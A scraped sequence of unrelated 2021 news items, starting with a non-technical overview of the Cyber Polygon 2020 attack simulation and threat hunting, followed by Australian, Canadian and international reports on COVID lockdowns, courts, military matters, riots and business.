Here, a collection of some of the best cybersecurity workers in the world gathered together into two teams to simulate a cyberattack of massive scope in real-time. This simulation involved 120 teams from 29 countries, and the event was joined by state and law enforcement agencies, financial, educational and healthcare institutions, organizations from the IT, telecom, energy, metal, chemical, aerospace engineering and other industries.

The good guys were the Blue Team, which protected their little chunks of infrastructure from the cyber-attack. The bad guys who conducted the attack were the Red Team. This simulation split into two halves: the real-time threat and the post-attack investigation. Throughout the real-time simulation, the Blue Team had to contain the cyberattack as best they could.

The banking industry and companies within the realm of IT demonstrated the highest resilience. However, it was also discovered that, as a whole, technical specialists are better prepared for investigation than for defense. The entire investigation process involved regular forensics as well as a concept known as Cyber Threat Hunting.

Cyber Threat Hunting is looking for cyber attacks that havent set off your early alert system. You may have anti-virus software, but it only alerts you to what it sees. If it doesnt see it, no alarm is raised. With Threat Hunting, you seek to discover the hiding places where a cyber attack is lurking  or has already taken place  outside of the realm of where your traditional alarm systems would have guarded.

Cyber Polygon 2020 May Be Over, But its Not the End

If youre a regular reader of this site, youre likely familiar with the concept of situational awareness. Im of the mind that a thorough understanding of current events is a critical part of this. If you dont know whats going on around you, youre going to get blindsided by reality. A working understanding of what is happening out there in the world  to me  is well worth the time. I believe an understanding of Cyber Polygon is a part of this.

So continue to monitor the waters. Pay attention to whats happening out there. In the past year alone, ransomware gangs have launched several high-profile attacks, including on a major pipeline and a meat supplier. If youre looking for actionable steps you can take to mitigate your disaster risk, we have a host of articles detailing what you can do.
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On Monday, Volunteer Manitoba announced Brandon University professor Alison Marshall is the 2021 recipient of their William Norrie Arts & Culture Volunteer Award.

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On Monday, Volunteer Manitoba announced Brandon University professor Alison Marshall is the 2021 recipient of their William Norrie Arts & Culture Volunteer Award.

A Tuesday news release from the university stated that Marshall is being recognized for all the time she has spent working alongside members of Manitobas Chinese community, including Dr. Joseph Du, Philip Lee, Patrick Choy and Ben Lee, with Lee being the current president of the Winnipeg Chinese Cultural and Community Centre.

"I am thrilled to receive this award, especially since Bill Norrie was a longtime supporter of, and friend to, the Manitoba Chinese Community," Marshall said in this news release. "Volunteering for the Chinese community and working with (these people) has been one of the most enjoyable things that I have done in my life."

Marshall teaches and researches Asian religion and history at Brandon University, having studied Mandarin at Fu Jen Catholic University in Taiwan, Middlebury College in the United States and earning her doctorate from the University of Torontos East Asian Studies Department.

According to her profile on the universitys official website, Marshall was attracted to Asian studies through family connections, with an uncle who ran an Asian import-export business in 1920s Montreal and an aunt who was deeply embedded in Torontos Chinese community.

On top of all her teaching and volunteer work, Marshall has written three books on Asian religion and history, the most recent volume titled "Bayanihan and Belonging: Filipinos and Religion in Canada."

Because of all this hard work, dean of arts Reinhold Kramer believes Marshall is more than deserving of the award.

"The award highlights the service work that Dr. Marshall and other professors perform outside of the university supporting the larger Manitoban and Canadian communities," he said.

Volunteer Manitobas William Norrie award is designed to celebrate volunteers who donate their time to advancing the provinces arts and cultural sector  whether thats through a leadership role or through being on the front lines of various programs and festivals.

The award gets its name from the 39th mayor of Winnipeg, who served in office between 1979 and 1992 and was well known for his involvement in various charities, including the United Way campaign.

Members of Volunteer Manitoba are planning to put together a formal ceremony in September to celebrate Marshall and all the other people who picked up the organizations 2021 awards.

 The Brandon Sun
Canadian Forces Base Shilo will soon have a new base commander at the helm.

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Canadian Forces Base Shilo will soon have a new base commander at the helm.

Lt.-Col. Chris Wood is set to take the reins of the Westman base in a change-of-command ceremony on Thursday.

Lt.-Col. Chris Wood

"Since my arrival, Ive been touched by not only the welcome wagon thats been rolled out for me but how focused everyone is on getting the job done and doing what they need to do," he said by phone from CFB Shilo.

The ceremony will look different from past editions due to COVID-19 public health restrictions, but Wood said there will still be 25 people allowed.

Wood grew up on a farm outside Cornwall, Ont., and joined the military at 18 after spending a year in the reserves.

"My parents instilled this idea of help out where you can and when I look back to those years when I was trying to figure out what I was going to do, where I was going to go school, the military seemed to indicate an exciting career and someplace where I could help out," he said.

"In high school, I think Top Gun came out and I definitely wanted to be a fighter pilot at some point."

He studied chemical and material engineering in university before going on to serve in the military as an armour officer and maintenance officer fixing land equipment. He also worked at the naval base in Esquimalt, B.C., fixing land-based equipment operating on naval ships.

In the summer of 2006, he was deployed to Afghanistan, where he worked out of Kandahar as the officer in charge of maintenance.

"The opportunity to deploy internationally is an extremely rewarding opportunity for any soldier, sailor, airman or woman," he said.

"It opens your perspective to what Canadians are like and what we can bring to other cultures, other countries. These opportunities are where we demonstrate our expertise, so it was certainly a rewarding experience."

As base commander, he said he wants to champion support for the families who call the base home. Wood said his own family plans to arrive from Ontario in August and his wife is a teacher.

"I feel its a privilege to not only champion the support for families locally, but also through my headquarters," he said.

Wood plans to live on the base and to stay in tune with the challenges and needs of the immediate community.

He said he is trying his hand at welding and raised honeybees in Ontario.

"I didnt bring any of my bees, theyre back in Ontario, but I hope to learn some of the best practices out here and try to get a hive to manage while Im out here," he said.

While Wood brings hobbies with him into the role, he said the majority of his time will be spent dealing with some of the "complex issues" of base command. Some parts of the base itself are aging and infrastructure repairs are needed.

"If I can progress those and make a measurable forward movement in them I would be very happy with that."

Lt.-Col Wood steps into the role after the death of the former base commander, Lt.-Col Jeff Lyttle, in May. Lyttle was 46 when he died of cancer after 26 years of service in the military.

"The military is a small community we had been talking earlier in the year and he was certainly a compassionate and engaged leader," Wood said.

"The base, impressively, has continued to complete its tasks, but Im not confident theyve had the opportunity to grieve  I want to acknowledge that tragic loss and be sensitive to that transition and give folks time to grieve and recover as we move into the summer."

 dmay@brandonsun.com

 Twitter: @DrewMay_
AstraZeneca and scientists from the University of Oxford are looking at whether their COVID-19 vaccine can be modified to prevent rare blood clots, according to a person with knowledge of the situation.

The scientists are doing early-stage research on whether the shot can be tweaked in any way to reduce or remove the risk of the side effect, though there is no formal program or funding in place for the investigations at this stage, said the person, who didnt want to be identified because the research hasnt been discussed publicly.

AstraZeneca is said to look at tweaking its COVID vaccine to lower the risk of blood clotting. Credit:Eddie Jim

A number of countries suspended use of the Astra shot earlier this year after it emerged that some recipients had developed a rare combination of blood-clotting in the brain with low levels of platelets, which had proved fatal in a small number of cases.

Regulators later confirmed there was an association between the vaccine and the condition, with some countries like Britain and Australia amending guidance and limiting use of the shot to certain age groups deemed at lower risk. Similar infrequent side effects have occurred with the COVID-19 vaccine created by Johnson & Johnson, which also uses an adenoviral technology.
A potential resurgence in US COVID-19 infections led by the Delta variant will barely dent consumer spending thanks to widespread vaccinations, according to Goldman Sachs economists.

There is little sign that restaurant bookings and consumer spending more broadly are slowing in parts of the country where coronavirus cases have increased in recent weeks, Goldman Sachs analyst Laura Nicolae wrote in a note to clients. Across the Atlantic, British data indicate that countrys recent spike in cases had little impact on economic activity there, she said.

US Vice-President Kamala Harris as she received her second COVID jab early this year. The higher rate of vaccinations will protect America from large-scale economic damage in a Delta variant surge, Goldman Sachs says. Credit:AP

Economic activity might decrease more sharply if new virus cases and deaths reach higher levels, Nicolae wrote. But the combination of the low sensitivity of consumer activity in the US and UK so far suggest that the economic effects of a Delta outbreak in the US would be modest.

COVIID-19 cases are increasing in many parts of the US, led by the more contagious Delta variant. The regions experiencing some of the highest increases are also areas with among the lowest vaccination rates.
Authorities in Queensland and NSW are signalling a shift away from describing encounters between sharks and humans as attacks, a move scientists say is both welcome and well overdue.

A senior Queensland official told a Noosa shark symposium in May the states communications would preference bites over attacks based on social research, three scientists attending the meeting have told The Sydney Morning Herald and The Age. Its SharkSmart website lists how to minimise risks of a negative encounter with a shark.

In NSW, the Department of Primary Industries has also gradually moved from dubbing shark-human contacts as attacks in its annual reports. It has worked closely with Bite Club, a support group for survivors to inform its language.

NSW DPI is respectful that each incident is best described by the individual involved, a spokeswoman said. DPI generally refers to incidents or interactions in our formal shark reporting.
In the competitive world of fashion auctions, luck plays as much of a role as strategy. In February, at an auction of Art Deco designer pieces, one rare 1922 Chanel cape  red silk velvet and georgette, with marabou feathers  caught the eye of the curators at the Paris Galliera, which was midway through staging an exhibition on the iconic designer Gabrielle Coco Chanel.

The cape sold for 79,300 euro ($125,737), and, for that moment at least, the Galliera, Frances pre-eminent fashion museum, watched it slip away. What Miren Arzalluz, curator of Gabrielle Chanel. Fashion Manifesto, didnt know was that it was bought by an Australian collector, Krystyna Campbell-Pretty, as a gift for the National Gallery of Victoria, and will feature in the exhibition when it opens in Melbourne in December.

Gabrielle Coco Chanel. Credit:Andre Kertesz/NGV

Arzalluz says the exhibition celebrates the notion of being comfortable in ones clothes, which Chanel pioneered from her debut, first as a milliner, in 1910 until her death in 1971. This [being comfortable] was the privilege of men and mens fashion until Chanel arrived in the 1910s, Arzalluz says via Zoom from Paris.

The exhibition features many hallmarks of the Chanel brand, including the 2.55 quilted bag, the little black dress, the tweed suit and the bottle for No. 5, the perfume that is celebrating its 100th anniversary and which Marilyn Monroe once quipped was the only thing she wore to bed.
We asked readers to tell us how they feel about the Victorian lockdown and, looking through them, its clear this latest one is a blow for many of you.

Heres a selection of some:

Tears, tears and more tears for my kids. The 6 year old is so upset at missing more school, and does not understand why the 4 year old still gets to attend kinder. For me, I work from home, and doing so while home schooling is near on impossible and has massive detrimental effects on my own mental health and ability to deliver what I need to deliver in a work sense - Bianca

No gym means the blues - Zee

Means I may not be able to go and see my granddaughter in Tasmania who has progressive cancer she is 33 I dont know how long she will be with us have booked flights accomodation and hire car but looks like will have to cancel it all - Diana

I work in aged care, so work continues but the residents will see visiting restrictions reinstated which is very difficult for them. Once again will be leaving my kids at home to school themselves. Could always be worse...we could be living or dying in India, Indonesia, just about anywhere else. A bit of perspective will help see us through...and would everyone please go and get vaccinated?!! - Shannon

A close friends wedding has been cancelled for the second time. A little friends surprise birthday party has been cancelled. Eid alAdha will be lonely for the Muslim community on Tuesday. One of our most important religious celebrations cannot go ahead after all the preparations have been put in place. It is like cancelling Christmas. I am beyond devastated this time. I have been in tears since the announcement. Other snap lockdowns have not upset me this much. Missing Eid is so devastating - Nashwa

I am a chef working for Melbournes largest hospitality agency (casual labour). I had cancelled work/ no work for FIVE weeks over the recent lockdown. I lost considerable income and my husband and I had to redraw from our home loan to pay bills and groceries. I had one hours work cancelled tonight and tomorrows (Friday shift) cancelled. This was around $250.00 income. I will lose a TWO week consignment I had for next two weeks which is a loss of more income. It is starting to affect my mental health. My remote learning grader sixer is a positive person however hates homeschooling (quote). Viruses exist. Analyse the cause (zoology). And we are fed up with the 5 kilometre bubble what is the point? - Rachel
When you are a backbench member of Parliament, media mentions are everything.

Everywhere man: Craig Kelly Credit:John Shakespeare

In recognition of the tireless efforts of so many of our government backbenchers to garner column inches, it is time for CBDs first presentation of the Charles Wilson Ironbar Tuckey Award for Parliamentary Prominence.

Named after the shouty West Australian MP who held his seat for 30 years and generated constant attention, Tuckey remains the Coalition member most frequently suspended from the chamber. Fourteen times, in fact. Or, as The Age once put it, disproportionately represented in dramas and intrigues.

For the first six months of 2021, this Hunger Games of ambition and irrelevancy has been won not by a young thruster, but by Tuckeys present-day equivalent.
VALERIE ANGEL NEWSTEAD: 1925-2021

Please get that madness out of her head! pleaded her father Abraham, when faced with his teenage daughters single-minded obsession with a life on the stage. Childhood games had been played in the lobby of their home in Baker Street, London under an image of the famous 19th century actress Sarah Siddons.

Sydney actress Valerie Newstead in 1975. Newstead starred in a migrant educational TV series and took up Australian citizenship at the end of filming. Credit:Fairfax

Undaunted, Newstead pursued her passion from the blitzkrieg in London with her husband Harold, a charming former world hairdressing champion (Brussels 1936), to post-war Sydney. Hers was a lifetime divided between television, the theatre and her family. For more than seven decades, she entertained audiences, lit up the social pages and played the perfect hostess.

It was a long road from her first stage role in a London production of The Princess and the Woodcutter in 1936, to her final one in 2013 in The Prisoner of Second Avenue at the age of 87. Shed begun with a stint in repertory before emigrating to Sydney as a 21-year-old bride. Having only just arrived, she organised her own theatrical ensemble, The Eros Players. Leading roles in a succession of plays including Gaslight, No room at the Inn and Lotte Dundas quickly followed.
The Naked City podcast will take a journey into the dark depths of the Australian criminal underworld. In this series you will hear recordings of some of Australia's most dangerous criminals, all of whom have been remarkably frank in their recollections.

Any police intelligence officer knows there is only one iron law. To defeat your enemy, you must know your enemy.

And the best way is to listen to them.
Hospitality business owners in the Blue Mountains have expressed gratitude about the new COVID-19 relief measures announced this week, saying the stimulus will help keep them afloat.

James Howarth runs Leura Garage, a restaurant and bar that usually buzzes during winter. Instead, his revenue is down about 90 per cent after he shut down, with only pizza takeaway service Pizza Sublime operating nearby.

Pizza chef Marco Marano and Pizza Sublime owner James Howarth (right) at their store in Leura. Credit:Wolter Peeters

Hes grateful to receive government financial assistance, but says it cant mask the fact hes losing hundreds of thousands of dollars while his customers are stuck at home.

Whatever disaster relief we get cant wipe away the tears from the disaster of losing that amount of revenue, Mr Howarth said.
A Catholic priest has been handcuffed and led from a Sydney court after he was convicted of abusing twelve boys at a boarding school in the NSW Southern Highlands in the 1980s.

Anthony William Peter Caruana, 79, assaulted the boys when he was a dormitory manager, rugby coach and band teacher at Chevalier College in Burradoo, a suburb of Bowral, between 1982 and 1988.

Anthony William Peter Caruana outside the NSW District Court in May. Credit:Kate Geraghty

On Wednesday, Judge Robyn Tupman convicted Caruana of 26 charges, including 22 counts of indecent assault, after 11 of 12 jurors found him guilty of one final charge of having sexual intercourse with a 14-year-old boy in 1984.

The jury had returned guilty verdicts on 25 of the charges earlier this week.
Two brothers allegedly linked to the Alameddine crime network have been arrested over the fatal shooting last year of underworld figure Mejid Hamzy that police believe was linked to a violent gangland feud.

Mr Hamzy, 44, the older brother of Brothers for Life gang founder Bassam Hamzy, was gunned down outside his home in Condell Park by two black-clad men on the morning of October 19.

Two men have been arrested as part of investigations into the fatal shooting of Mejid Hamzy. Credit:NSW Police

The shooting in Sydneys south-west triggered a major police crackdown seeking to curb an escalating cycle of violent reprisals between rival crime networks.

Following extensive investigations, criminal groups squad detectives raided at least seven locations across Liverpool, Peakhurst, Bringelly and Helensburgh on Wednesday.
So Sydney children are expected to learn from home for another two weeks as the city tries to contain the latest outbreak of COVID-19. The government must recognise that this decision imposes a significant burden on children and young people, almost exclusively to benefit other age groups in society.

As a parent, paediatrician and infectious disease physician, I have been struck by the way in which the learning and wellbeing of children (especially young children) appears to have been consistently deprioritised in this debate. This must stop.

Children across Sydney are having to learn from home again. Credit:Tanya Macheda

The effective closure of schools is championed primarily because it stops parents moving around the community to pick up and drop off their children. Voices also suggest schools are a major risk for amplifying infection rates, despite a balance of published evidence to the contrary. And the apparent increased transmissibility of the Delta strain (albeit mainly in households) also looms large in the conversation too.

Yet schools are the heartbeat of our society. They are a critical scaffold supporting children and young people to flourish through learning and social interaction. This scaffold is especially vital to vulnerable children. And while the Premier has made it clear that schools remain open for these children, much of the support they usually receive will be missing, if they even make it through the gates during this lockdown.
A leading justice reform group is calling for a rethink on law and order, saying the actions of violent men have led to legislative changes that are contributing to women being locked up at an alarming rate.

The report from RMIT Universitys Centre for Innovative Justice, released on Thursday, says government policies aimed at improving the response for women in the justice system are undermined by wider reforms following significant public episodes of violence.

Dorothy Armstrong said prison didnt helped her, it only harmed her. Credit:Eddie Jim

Access to parole was restricted because of rapist and murderer Adrian Bayley, bail laws became tougher because of James Gargasoulas massacre in Bourke Street and community-based sentences have been limited.

The reforms were intended to help Victorians feel safer by curbing the threat of high-risk offenders but combined, the report says they are having a disproportionate impact on low-level women offenders who are being pushed into higher thresholds for bail, up the sentencing hierarchy and into custody at an alarming rate.
Police have arrested two people after they found a homemade explosive device on the front doorstep of a property in Melbournes north on Sunday.

Officers found the explosive device on the doorstep of a property in Derby Street at Pascoe Vale about 10am. The bomb response unit managed to defuse the device without incident.

SES crews at the Heath Street property in Pascoe Vale on Tuesday evening. Credit:Nine News

Police said they were treating the matter as a targeted incident and were not looking for anyone else in relation to the matter, police said in a statement on Wednesday.

Officers were subsequently called to a property on Heath Street in the suburb about 5.20pm on Tuesday, where they say they found suspected explosive materials.
Two men have faced court charged with the alleged murder of a father of five gunned down in a drive-by shooting at a Melbourne pool hall.

Sekomain Vave and Nikola Latuhoi, both 26, were arrested by homicide squad police before appearing at Melbourne Magistrates Court on Wednesday, where they were both remanded in custody to reappear on November 17.

Ikenasio Tuivasa, known to friends and family as Sio, died as a result of the drive-by shooting.

Both men, from Cairnlea and Hoppers Crossing respectively, are facing charges of murder and intentionally causing serious injury.

Their arrests followed a five-month investigation into the fatal shooting of Ikenasio Tuivasa, 33, outside the All Star Lounge at Ravenhall on February 27.
At this point in time, I would encourage any members of the community who have been in the Highpoint shopping centre on Friday, between 10 and 2pm, to please come forward and get tested, he said. This is clearly a very rapidly moving situation; were very keen to make sure we get a very firm grip of this as soon as we possibly can. Mr Weimar said he needed the whole community to come together once again to make sure Victoria surged around the two chains of transmission and got them under control quickly. I need to find any cases that are out there to get them under control, and obviously we need to continue to work very closely with our red zone arrivals to make sure that these flying embers dont catch light again, he said.

More tier-1 locations were added to Victorias list of exposure sites on Wednesday afternoon, including CBD pub Young & Jackson on the corner of Flinders and Swanston streets. Anyone who was at the venue between 2.40pm and 4.10pm on July 10 is required to get tested and isolate for 14 days regardless of the result. Four of the cases are in the locked-down Ariele Apartments on the third floor. Credit:Eddie Jim Three other stores in Highpoint  body-piercing studio SkinKandy, The Reject Shop and a Ferguson Plarre bakery outlet  were also listed as tier-1 sites. The other tier-1 additions were Vanilla Lounge at Eaton Mall in Oakleigh and the Maribyrnong Aquatic Centre next to Highpoint. The specific dates and times of the exposures can be viewed here. Level one of Highpoints north car park, an Aldi store in Maribyrnong and level two of the MCG Members Reserve for the Carlton versus Geelong game on July 10 were also added as tier-2 sites, meaning people who attended the venues at the relevant times must immediately get tested and quarantine until they receive a negative result.

Anyone who attended Saturdays AFL match at the MCG (excluding level two of the members zone) between 4pm and 8pm is considered a tier-3 contact. In Victoria, tier-3 contacts are asked to monitor for COVID-19 symptoms and must immediately isolate and get tested if any symptoms develop. Loading

MCG in focus Thousands of people who watched the Carlton versus Geelong game on July 10, particularly in the Members Reserve, will be required to get tested and isolate. The official attendance at the match was just over 30,000 and Mr Weimar said there would be a variety of tier-1, tier-2 and tier-3 exposure sites declared at the MCG after a resident of the Ariele Apartments attended the match. About 2000 people would be classified as tier-2 contacts after attending the Members Reserve. There will be a number of people we identify who are in very close proximity to this individual, Mr Weimar said.

There will be tier-1 exposures  well be contacting them directly based on the ticketing information and the CCTV information .... over the coming hours. There will be other people on the ground who [authorities] would regard as tier-3 exposures. Well ask them to monitor the symptoms and come forward and get tested. Hume cluster grows after supermarket contact The City of Hume cluster has grown by two cases, after a man in his 30s caught the virus and the fourth member of a family who had travelled from Sydney and started the cluster tested positive overnight.

The man in his 30s was connected to the family, authorities suspect, because he visited the Coles at Craigieburn, which was one of the familys exposure sites. We have identified  that one of the family members did go to Coles for a short period of time, Mr Weimar said. We know that [the man in his 30s] was at the Craigieburn Coles around the same time as one of the positive cases. Loading

Victoria had earlier announced one new confirmed local coronavirus case overnight who was a known primary close contact who had isolated during their infectious period. The state also reported one case in its hotel quarantine in the 24 hours to midnight on Tuesday. Authorities had identified two new tier-1 exposure sites in Kalkallo, a town about 30 kilometres north of Melbournes CBD, late on Tuesday evening. The new sites are the Hungry Jacks off the Hume Highway and the Caltex, including the fuel bowsers and toilets, between 9.07am and 10.06am on July 8. Before the recent additions, there were four sites in Victoria: the Coles at Craigieburn Central, the Ariele Apartments complex in Maribyrnong, and a Mobil service station and McDonalds in Ballan, about 80 kilometres north-west of Melbourne. The latter three exposure sites relate to the removalist crew, and Mr Weimar again expressed frustration at their lack of co-operation.

It turns out they were in two trucks, not one truck, which makes their journey even more impressive, Mr Weimar said during Wednesdays COVID-19 update. There was an additional stop, and the Kalkallo Caltex and Hungry Jacks on July 8 between [9.07am and 10.06am]. The duo, along with a third removalist, drove from NSW to Victoria on July 8, dropping off furniture at a home in Craigieburn before heading to the Ariele Apartments complex in Maribyrnong, where they collected furniture over a number of hours. They then drove to Ballan, stopping at the Mobil service station and McDonalds.

Loading Mr Weimar said on Tuesday removalists hadnt been as forthcoming with authorities as he would have liked. On Wednesday, he described them as a declining lead. He said he was exceptionally frustrated at the pace and transparency of information coming from the removalist exposure. Weve got more important things to do than fret over a removalist who may or may not, for whatever reason, want to provide as much information as we would like, Mr Weimar said. Well squeeze that rock as much as we need to, but Ive got other work to do. I think weve got the vast majority of useful information were probably going to get from these people.

WA beefs up border restrictions with Victoria Meanwhile, Victoria travellers arriving in Western will be required to quarantine for 14 days after the state reinstated border restrictions. Acting WA Premier Stephen Dawson said adjustments to the states border arrangements with Victoria needed to be made immediately after the NSW outbreak spread to Victoria. Western Australia has always taken an extra cautious approach to its border controls and this has proven effective in keeping WA safe from COVID-19, he said.
Prime Minister Scott Morrison says Australia is wary of a high-tech Chinese surveillance ship sitting off the Queensland coast monitoring military exercises between Australian and American forces.

The Chinese vessel is keeping an eye on the biennial Talisman Sabre war games involving Australia and the United States, which were officially opened for 2021 on Wednesday afternoon.

The Tianwangxing is sitting outside Australias territorial waters. Credit:Department of Defence

The Australian Defence Force has been monitoring the Chinese spy vessel, called the Tianwangxing, for a number of weeks. The auxiliary general intelligence ship, which is fitted with advanced communications systems, is sitting within Australias Exclusive Economic Zone but outside its territorial waters.

Similar Chinese ships sat off Australias coast and monitored the war games in 2017 and 2019.
Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size When Australian soldiers withdrew from Uruzgan Province, local builder Hammedullah Hammedie knew he had to flee as well. Because of his work for Australia, Hammedie says he was a target of the surging Taliban. Hammedie left his home in Tarin Kowt in 2014, shortly after Australian forces withdrew from the province, and has been living in the southern city of Kandahar since then. The Taliban now controls most of Uruzgan Province, where Australian troops served for close to a decade. (It is now in charge of five of the six districts, while Tarin Kowt is considered contested.) Now, history is repeating itself. Taliban forces last week penetrated Kandahar, Afghanistans second-largest city, and Hammedie fears it is only a matter of time before it takes control. Whatever will happen to me will be because of my involvement with foreign forces, says Hammedie, who has now been living in exile in Kandahar for seven years. I am requesting the Australian government give protection to me. If not, it will be my destiny to die. Almost 1500 Afghans, including many interpreters and their families, have been granted visas by Australia since 2014. While there has been much debate about the fate of Afghan interpreters who worked with Australia, individuals such as Hammedie fear they will be targeted by the Taliban. The 60-year-old grandfather now wants Australia to grant him and his family humanitarian visas.

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Hammedie, who completed a string of lucrative construction contracts for Australia in Uruzgan, has numerous Australian certificates of appreciation for his work. Hammedie Construction & Supplies Company built roads, security walls, buildings and the Malalai Girls school in Tarin Kowt. Hammedullah Hammedie has scores of Australian certificates lauding his reconstruction work. One certificate reads: Your company has provided a high-quality product and has assisted the Australian Defence Force immensely. You and your staff undertook the project with professionalism and enthusiasm and we look forward to working with you again in the near future. A few years before the Australian withdrawal, foreign forces raided a house in the provincial centre of Tarin Kowt. Hammedie vividly remembers a man blaming him for the raid in front of a room of 50 people. Because I was seen as having strong relationships with the foreign forces, I was blamed, Hammedie says. Its very difficult for me because I have had pictures taken with foreign forces, I had a good relationship with them, we were sitting together during the night and during the day. He says construction work wasnt the only service he provided foreign forces; Australian soldiers regularly turned to him for advice on the security and political situation in Uruzgan.

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I had very good relationships with military officers, he says. They came to my office, I was a host for them. I went many times to the airport, the military base. The security elements had meetings in which I was invited. With the Taliban now bearing down on Kandahar, Hammedie says he has no option but to appeal to Australia for help. But with the Australian embassy now closed, he says he has tried to reach out but doesnt know how to properly make his case. Hammedullah Hammedie says he also provided political and security advice to Australian soldiers. Credit:Kate Geraghty There is no option except to apply to the Australian government to have me, because I worked with them and now it is very risky for me. To be granted a visa, Hammedie will have to prove to the Australian government that his work with its forces has now put him in serious danger. Rodger Shanahan, research fellow at the Lowy Institute and a former army officer, says the Australian government has been generous in approving visa applications from Afghans who worked with Australian forces. But he says Australia needs to draw the line somewhere to avoid the program becoming a free-for-all.

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The government is going to want you to provide some kind of evidence that what you say actually happened, Shanahan says. The government will be quite generous in determining that, but it doesnt mean that just because someone says something, it definitely happened. And then just because they did something, it doesnt necessarily mean that they will be targeted by the Taliban. John Blaxland, professor of international security and intelligence studies at the Australian National University, says he fears Australia is not protecting the Afghans who were engaged unofficially as sources. Loading The process we have in place at the moment would probably exclude them, he said. As a former intelligence officer, I know there are a lot of people who we were in contact with who were not necessarily on our payroll and who we engaged with frequently. Blaxland says Kandahar appears to be in a weak, and weakening, state. So you have to wonder how long Kandahar is going to remain in government hands.

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Prime Minister Scott Morrison says Victorias claims he has favoured his home state of NSW with coronavirus support are nonsense while federal Treasurer Josh Frydenberg has accused the state government of being petulant.

The Victorian government says it had to shame the federal government into doing their job when it went into a short term lockdown in May and June.

Victoria has accused Prime Minister Scott Morrison of playing favourites after he worked out a new support coronavirus support package with NSW Premier Gladys Berejiklian. Credit:Wolter Peeters

In contrast, when NSW Premier Gladys Berejiklian said on Tuesday that her state could stay in lockdown for at least another month, Mr Morrison stood beside her to announce extended support for income and business.

Victorians are rightly sick and tired of having to beg for every scrap of support from the federal government, a spokesman for Premier Daniel Andrews said on Tuesday night.
Johannesburg: South Africans are expected to face major food shortages in the wake of days of violent unrest across two key provinces, as rioters upend supply chains by looting supermarkets and torching goods trucks.

Footage of empty or sparse grocery-store shelves has been a staple of local news reports since the weekend, while many chains closed all their outlets. In parts of Durban, the coastal KwaZulu-Natal city at the centre of the upheaval, long queues formed outside the few open food shops and basics such as bread and milk were in short supply.

The military has been struggling to quell the violence which erupted last week. Credit:AP

The death toll from the rioting climbed to 72 on Tuesday (Wednesday AEST), with many people trampled to death during looting, as police and the military fired stun grenades and rubber bullets to try to halt the unrest set off by the imprisonment of former president Jacob Zuma.

More than 1200 people have been arrested in the lawlessness that has raged in poor areas of Gauteng and KwaZulu-Natal, where a community radio station was ransacked and forced off the air and some COVID-19 vaccination centres were closed, disrupting urgently needed inoculations.
After a slow start, a quarter of the population has now received at least one dose and Malaysias target of having 40 per cent of adults fully vaccinated by the end of August and 60 per cent by the end of September could be achieved if suppliers meet their commitments. Under Malaysias renegotiated deal with Pfizer, the American pharmaceutical giant is sending 25 million doses between this month and September, Khairy said. The scale of the outbreak has helped offset another obstacle, vaccine hesitancy, as the countrys pandemic death toll rose to 6503 on Wednesday and new infections hit another daily record of 11,618. Yet while Malaysia has sped up its jabs, it has done little to diminish dissatisfaction with the Perikatan Nasional governments overall handling of the virus. It was just over a year ago, on July 7, 2020, that there were no new cases at all in the country and complacency has been blamed for its slide into despair.

I think no response has been perfect anywhere in the world, Khairy said. Loading Countries which were successful at suppressing and containing cases have seen their bubble burst. And I think if you look at countries which are doing well, now, you can arguably say that they were doing much, much worse before and theyve been saved by early arrivals of vaccines. Of course, we could have done certain things better. And also, after a while, its very difficult to get the public to adhere to the [restrictions] simply because of fatigue. And Im not blaming the public here. Because to observe these very, very unnatural limitations and restrictions on your behaviour or your movements [is difficult]. Eventually, there will be a time where people just let their guard down. Khairy admits that headlines about government ministers flouting the rules has damaged the credibility of the latest lockdown, saying leadership by example is very important.

I think on that score, we have made some errors there, he said. The admission comes as Prime Minister Muhyiddin Yassin clings to power. He has resisted a move to unseat him by Ahmad Zahid Hamidi, the president of the largest party in his ruling bloc, the United Malays National Organisation (UMNO), by installing UMNO vice-president Ismail Sabri Yaakob to Deputy Prime Minister and promoting another party figure, Hishammuddin Hussein, to the senior ministry. A resident, left, receives food from a delivery man through barbed wire at Segambut Dalam on the outskirts of Kuala Lumpur. Credit:AP Muhyiddin was also been prompted to recall parliament, which has been suspended since a state of emergency was declared in January, on July 26 at the urging of King Sultan Abdullah Ahmad Shah. However, Fahmi Fadzil, an MP and spokesman for Anwar Ibrahims opposition Peoples Justice Party, said there had not been any commitment to allow debate in the five-day sitting on emergency rule ordinances such as the so-called fake news law, which the government is accused of using to stifle criticism, and about the national recovery plan announced by Muhyiddin last month.

In the meantime, the health system is crumbling and the body count rising, with burned-out doctors having to play God in some instances to determine who survives. In Fahmis electorate in the south west of Kuala Lumpur, barbed wire and food banks on street corners have been part of the furniture since the lockdown. There is a sense that they dont know when this is going to end, he said of his constituents.

The desperation of the situation has brought out the best in many Malaysians, with thousands coming to the aid of those appealing for food and cash to pay the rent. Loading But Dr Hartini Zainudin, a child-rights activist who is helping to coordinate assistance, said this lockdown has been horrible for those who have fallen into unemployment. Its heartbreaking because [people are] holding up pictures of babies or their children or their elderly parents or taking videos and showing me their empty rice bins, she said. Im getting people to give me 10,000 ringgit ($3200) so I can feed 50 families and hiring boats to get food out to hungry people on islands. I mean, its ridiculous. Thats how bad it is.
LOWER BUCKS >> Governor Tom Wolf on Friday visited Bristol and Andalusia in Bucks County to tour communities affected by severe weather and flash flooding. The governor was joined by local officials and legislators to visit damaged homes and speak to residents.
A social media campaign uses this photo to recruit new drivers with the caption: "Surround yourself with smiling faces every morning with YouBehindTheWheel.com and be their safety champion."
on Wednesday announced the launch of a new brand called the Xpres to cater to the fleet segment. The segment aims to address demand from corporates and state governments. The brand will have multiple engine options, including petrol-compressed natural gas and electric and specific models. All vehicles for the fleet segment will sport the Xpres badge, differentiating them from cars meant for the personal segment.

People using public transport may shift to shared mobility. As a result, the replacement cycle will go up. Keeping this potential in mind, we are launching the Xpress brand aimed at offering smarter, future-ready solutions with a low total cost of ownership and efficient service, said Shailesh Chandra, president-passenger vehicle business unit,

According to Chandra, the way original equipment manufacturers offered the product in the past, the boundary between the personal and fleet segment was getting blurred  it wasnt optimised to meet specific needs.





Both segments have a very different set of requirements. You have to conceptualise it, so that the attributes of the products are aligned to the needs.

No one can vouch for the criticality of product differentiation for personal and fleet segment better than that saw its once-popular Indica being shunned by personal buyers as it had earned itself the notoriety of a taxicab.
Ltd has augmented its capability in emerging modes such as e-commerce and modern trade channels with "sharp-focused investments" and is also accelerating innovation with platform centricity and "digital-first" brands in the wake of the COVID-19 pandemic, according to the company's annual report for 2020-21.

